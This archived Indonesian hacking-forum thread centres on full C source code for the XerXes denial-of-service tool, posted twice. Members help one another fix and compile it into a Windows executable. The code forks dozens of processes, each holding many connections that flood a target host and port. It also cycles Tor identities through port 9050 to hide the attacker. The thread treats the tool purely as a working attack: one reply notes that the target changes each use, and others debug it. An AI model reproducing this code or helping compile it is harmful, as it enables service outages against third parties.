Devilzc0de Forum Follow @devilzc0de
  • Home
  • Hacking
  • Networking
  • Programming
  • O.S
  • Server
  • Tweets
  • Search
  • Member List
  • Calendar
Current time: 06-20-2013, 04:36 PM Hello There, Guest! (Login — Register)
Devilzc0de Forum › Information Technology › Programming › C / C++ v
« Previous 1 ... 6 7 8 9 10 ... 15 Next »

[Ask] gimana caranya jadiin source ini exe ya?

Home General Computer Multimedia Business Lounge

Pages (2): 1 2 Next »
Post Reply 
Tweet
Threaded Mode | Linear Mode
Ask gimana caranya jadiin source ini exe ya?
01-15-2012, 10:59 PM (This post was last modified: 01-15-2012 11:32 PM by badwolves1986.)
Post: #1
badwolves1986 [RJ] Offline
Staf Registrasi DIC
RJ
Posts: 2,909
Joined: Oct 2010
Reputation: 90
gimana caranya jadiin source ini exe ya?
maap mas bro numpang tanya doang nih
ada yang bisa compile source ini ke exe kagak,...?
klo ada tolong kasih tau mau ane kek gimanain mewek

Code:
#include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <stdint.h>
    #include <unistd.h>
    #include <netdb.h>
    #include <signal.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>

    int make_socket(char *host, char *port) {
        struct addrinfo hints, *servinfo, *p;
        int sock, r;
    //    fprintf(stderr, "[Connecting -> %s:%s\n", host, port);
        memset(&hints, 0, sizeof(hints));
        hints.ai_family = AF_UNSPEC;
        hints.ai_socktype = SOCK_STREAM;
        if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) {
            fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r));
            exit(0);
        }
        for(p = servinfo; p != NULL; p = p->ai_next) {
            if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
                continue;
            }
            if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) {
                close(sock);
                continue;
            }
            break;
        }
        if(p == NULL) {
            if(servinfo)
                freeaddrinfo(servinfo);
            fprintf(stderr, "No connection could be made\n");
            exit(0);
        }
        if(servinfo)
            freeaddrinfo(servinfo);
        fprintf(stderr, "[Connected -> %s:%s]\n”, host, port);
        return sock;
    }

    void broke(int s) {
        // do nothing
    }

    #define CONNECTIONS 8
    #define THREADS 48

    void attack(char *host, char *port, int id) {
        int sockets[CONNECTIONS];
        int x, g=1, r;
        for(x=0; x!= CONNECTIONS; x++)
            sockets[x]=0;
        signal(SIGPIPE, &broke);
        while(1) {
            for(x=0; x != CONNECTIONS; x++) {
                if(sockets[x] == 0)
                    sockets[x] = make_socket(host, port);
                r=write(sockets[x], “\0?, 1);
                if(r == -1) {
                    close(sockets[x]);
                    sockets[x] = make_socket(host, port);
                } else
    //                fprintf(stderr, “Socket[%i->%i] -> %i\n”, x, sockets[x], r);
                fprintf(stderr, “[%i: Voly Sent]\n”, id);
            }
            fprintf(stderr, “[%i: Voly Sent]\n”, id);
            usleep(300000);
        }
    }

    void cycle_identity() {
        int r;
        int socket = make_socket(“localhost”, “9050?);
        write(socket, “AUTHENTICATE \”\”\n”, 16);
        while(1) {
            r=write(socket, “signal NEWNYM\n\x00?, 16);
            fprintf(stderr, “[%i: cycle_identity -> signal NEWNYM\n", r);
            usleep(300000);
        }
    }

    int main(int argc, char **argv) {
        int x;
        if(argc !=3)
            cycle_identity();
        for(x=0; x != THREADS; x++) {
            if(fork())
                attack(argv[1], argv[2], x);
            usleep(200000);
        }
        getc(stdin);
        return 0;
    }

cuma mau tanya ntuh doang klo ada harus ane kek gimana in untuk bisa jadi exe hmm
Find all posts by this user
Quote this message in a reply
01-15-2012, 11:15 PM
Post: #2
ketek Offline
bocah ingusan
*******
Administrators
Posts: 2,991
Joined: Jan 2010
Reputation: 411
RE: gimana caranya jadiin source ini exe ya?
wew.. kayak nya itu untuk di compile di linux deh omz... klo mo dicompile jadi exe pake cygwin
kebetulan ane gak ada cygwin di laptop mewek
Find all posts by this user
Quote this message in a reply
01-15-2012, 11:19 PM
Post: #3
CitooZz Online
./pemburu kimblak
**
Moderators
Posts: 1,312
Joined: Jun 2011
Reputation: 23
RE: gimana caranya jadiin source ini exe ya?
(01-15-2012 11:15 PM)donita Wrote:  wew.. kayak nya itu untuk di compile di linux deh omz... klo mo dicompile jadi exe pake cygwin
kebetulan ane gak ada cygwin di laptop mewek

ane compile di linux jg error om,.gmn yak belajar
Find all posts by this user
Quote this message in a reply
01-15-2012, 11:23 PM
Post: #4
badwolves1986 [RJ] Offline
Staf Registrasi DIC
RJ
Posts: 2,909
Joined: Oct 2010
Reputation: 90
RE: gimana caranya jadiin source ini exe ya?
(01-15-2012 11:15 PM)donita Wrote:  wew.. kayak nya itu untuk di compile di linux deh omz... klo mo dicompile jadi exe pake cygwin
kebetulan ane gak ada cygwin di laptop mewek

awal nya ane tanyain sama temen katanya klo di windows pake cygwin
tapi error ada beberapa script yang error
nah pass ane tanyain ehhh dia malah bilang buat tread aja di dece tanyain disanakan banyak ahlinya tuh katanya dia prustasi nah sekarang yang ane tanyain bisa ga? ini source jadi exe bg ketek ???
Find all posts by this user
Quote this message in a reply
01-15-2012, 11:23 PM
Post: #5
od3yz Offline
"Brondong Metal Devilzc0de"
Posts: 912
Joined: Mar 2011
Reputation: 62
RE: gimana caranya jadiin source ini exe ya?
source kodenya tulung bnerin dunk kaka hah
" antara ” d bedain dunk =>kudu replace dolo tlung d paste ulang
maseh banyak errorna tak coba compile
Visit this user's website Find all posts by this user
Quote this message in a reply
01-15-2012, 11:27 PM
Post: #6
badwolves1986 [RJ] Offline
Staf Registrasi DIC
RJ
Posts: 2,909
Joined: Oct 2010
Reputation: 90
RE: gimana caranya jadiin source ini exe ya?
(01-15-2012 11:23 PM)od3yz Wrote:  source kodenya tulung bnerin dunk kaka hah
" antara ” d bedain dunk =>kudu replace dolo tlung d paste ulang
maseh banyak errorna tak coba compile

ntuh sudah bener deys
coba ente liat dimari sama apa kagak tuh ??

Sumber nya
Find all posts by this user
Quote this message in a reply
01-15-2012, 11:42 PM (This post was last modified: 01-15-2012 11:49 PM by od3yz.)
Post: #7
od3yz Offline
"Brondong Metal Devilzc0de"
Posts: 912
Joined: Mar 2011
Reputation: 62
RE: gimana caranya jadiin source ini exe ya?
jadi file exe pastinya bisa ane pke linux kaga nemu exe piss, tapi masalahnya line coding coba teliti

oh ya ini yg bner codenya
Code:
/* XerXes - Most powerful dos tool - THN (http://www.thehackernews.com) */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <netdb.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int make_socket(char *host, char *port) {
    struct addrinfo hints, *servinfo, *p;
    int sock, r;
//    fprintf(stderr, "[Connecting -> %s:%s\n", host, port);
    memset(&hints, 0, sizeof(hints));
    hints.ai_family = AF_UNSPEC;
    hints.ai_socktype = SOCK_STREAM;
    if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) {
        fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r));
        exit(0);
    }
    for(p = servinfo; p != NULL; p = p->ai_next) {
        if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
            continue;
        }
        if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) {
            close(sock);
            continue;
        }
        break;
    }
    if(p == NULL) {
        if(servinfo)
            freeaddrinfo(servinfo);
        fprintf(stderr, "No connection could be made\n");
        exit(0);
    }
    if(servinfo)
        freeaddrinfo(servinfo);
    fprintf(stderr, "[Connected -> %s:%s]\n", host, port);
    return sock;
}

void broke(int s) {
    // do nothing
}

#define CONNECTIONS 8
#define THREADS 48

void attack(char *host, char *port, int id) {
    int sockets[CONNECTIONS];
    int x, g=1, r;
    for(x=0; x!= CONNECTIONS; x++)
        sockets[x]=0;
    signal(SIGPIPE, &broke);
    while(1) {
        for(x=0; x != CONNECTIONS; x++) {
            if(sockets[x] == 0)
                sockets[x] = make_socket(host, port);
            r=write(sockets[x], "\0", 1);
            if(r == -1) {
                close(sockets[x]);
                sockets[x] = make_socket(host, port);
            } else
//                fprintf(stderr, "Socket[%i->%i] -> %i\n", x, sockets[x], r);
            fprintf(stderr, "[%i: Voly Sent]\n", id);
        }
        fprintf(stderr, "[%i: Voly Sent]\n", id);
        usleep(300000);
    }
}

void cycle_identity() {
    int r;
    int socket = make_socket("google.com", "80");
    write(socket, "AUTHENTICATE \"\"\n", 16);
    while(1) {
        r=write(socket, "signal NEWNYM\n\x00", 16);
        fprintf(stderr, "[%i: cycle_identity -> signal NEWNYM\n", r);
        usleep(300000);
    }
}

int main(int argc, char **argv) {
    int x;
    if(argc !=3)
        cycle_identity();
    for(x=0; x != THREADS; x++) {
        if(fork())
            attack(argv[1], argv[2], x);
        usleep(200000);
    }
    getc(stdin);
    return 0;
}

bisa jadi exe masalahnya socket yg d buka, portnya 80 int socket = make_socket("google.com", "80"); => ane ganti pake gugel lokalhost rusak, pan ini berubah ubah sesuai target nte, klo d compile itu mah hasilnya k situ aja pan
hah byarkan yang dewa jawab seret om gandung, om dom, om ketek lebih tau :(
gelar tikerrrr
Visit this user's website Find all posts by this user
Quote this message in a reply
01-15-2012, 11:50 PM
Post: #8
badwolves1986 [RJ] Offline
Staf Registrasi DIC
RJ
Posts: 2,909
Joined: Oct 2010
Reputation: 90
RE: gimana caranya jadiin source ini exe ya?
#bg mywisdom mana bg dom nih
#bg ketek mana bg ketek
Find all posts by this user
Quote this message in a reply
01-16-2012, 12:03 AM (This post was last modified: 01-16-2012 12:10 AM by selfdefense.)
Post: #9
selfdefense Offline
./Devilz Commodore
Posts: 1,294
Joined: Aug 2010
Reputation: 58
RE: gimana caranya jadiin source ini exe ya?
(01-15-2012 11:19 PM)CitooZz Banditozz Wrote:  
(01-15-2012 11:15 PM)donita Wrote:  wew.. kayak nya itu untuk di compile di linux deh omz... klo mo dicompile jadi exe pake cygwin
kebetulan ane gak ada cygwin di laptop mewek

ane compile di linux jg error om,.gmn yak belajar

di ane jalan kok om...
[Image: nyh4sm.jpg]
cuman ane blom ngerti klo mo di pindah ke windows... kynya butuh library tertentu deh.. ato harus di visual studio mungkin... peace
ane kurang ngerti masalah ginian... suram
Find all posts by this user
Quote this message in a reply
01-16-2012, 12:07 AM
Post: #10
rusuh Away
sepik'ers
**
Moderators
Posts: 455
Joined: Oct 2011
Reputation: 77
RE: gimana caranya jadiin source ini exe ya?
kalo executeable compile ke 64bit yah?
Visit this user's website Find all posts by this user
Quote this message in a reply
« Next Oldest | Next Newest »
Pages (2): 1 2 Next »
Post Reply 


Topic Tools
Topic Link :
BBCode :
HTML Code :
View a Printable Version Send Thread to a Friend Subscribe to this thread
Submit Google Submit Face book Submit to Digg Submit to Reddit Submit to Furl Submit to Del.icio.us Submit to Jeqq

Possibly Related Threads...
Thread: Author Replies: Views: Last Post
  [Solved] Gambar Flowchart nya gimana?? the_critical 10 304 11-06-2012 08:02 PM
Last Post: Rakagi
  [Ask] Penjelasan Program Ini Gimana Ya?? littleshadow 6 349 10-28-2012 05:40 PM
Last Post: momoi
  [Ask] Need Help, inefficient c source code cr0security 0 95 10-26-2012 05:00 AM
Last Post: cr0security
Sad [Ask] Bikin output segitiga bintang begini modelnya gimana ya? farhan007 5 672 10-16-2012 10:49 PM
Last Post: Rpm46
  Paid Botnet Source print V4rcyion 0 195 06-16-2012 08:49 PM
Last Post: V4rcyion
  <ask> ini maksudnya gimana....?? yusufelirhab 11 879 02-25-2012 09:43 PM
Last Post: yusufelirhab
  [Tutor] Obfuscate source code C (bikin source code susah dibaca) ketek 14 953 02-04-2012 11:34 AM
Last Post: ack_attack
  [Solved] Biar bisa kembali ke menu awal gimana ya gan? pake bahasa c yak? Udhiiie_ 8 794 01-10-2012 08:54 AM
Last Post: bakunawa
  [ask] gimana cara out nih script biar g randoom cancer 0 614 01-06-2011 06:38 PM
Last Post: cancer
  [Solved] Ngakalin Dev Cpp gimana sie? ug_klp2 2 1,419 03-10-2010 11:23 PM
Last Post: ug_klp2

Users Browsing
1 Guest(s)

  • Contact Us
  • devilzc0de
  • Return to Top
  • Mobile Version
  • RSS Syndication
  • Help
Current time: 06-20-2013, 04:36 PM Powered By MyBB, © 2002-2013 MyBB Group. Theme created by Justin S. | Mixed By Chaer.Newbie | Fixed By Aditya

USING THIS SITE INDICATES THAT YOU HAVE READ AND ACCEPT OUR TERMS. IF YOU DO NOT ACCEPT THESE TERMS, YOU ARE NOT AUTHORIZED TO USE THIS SITE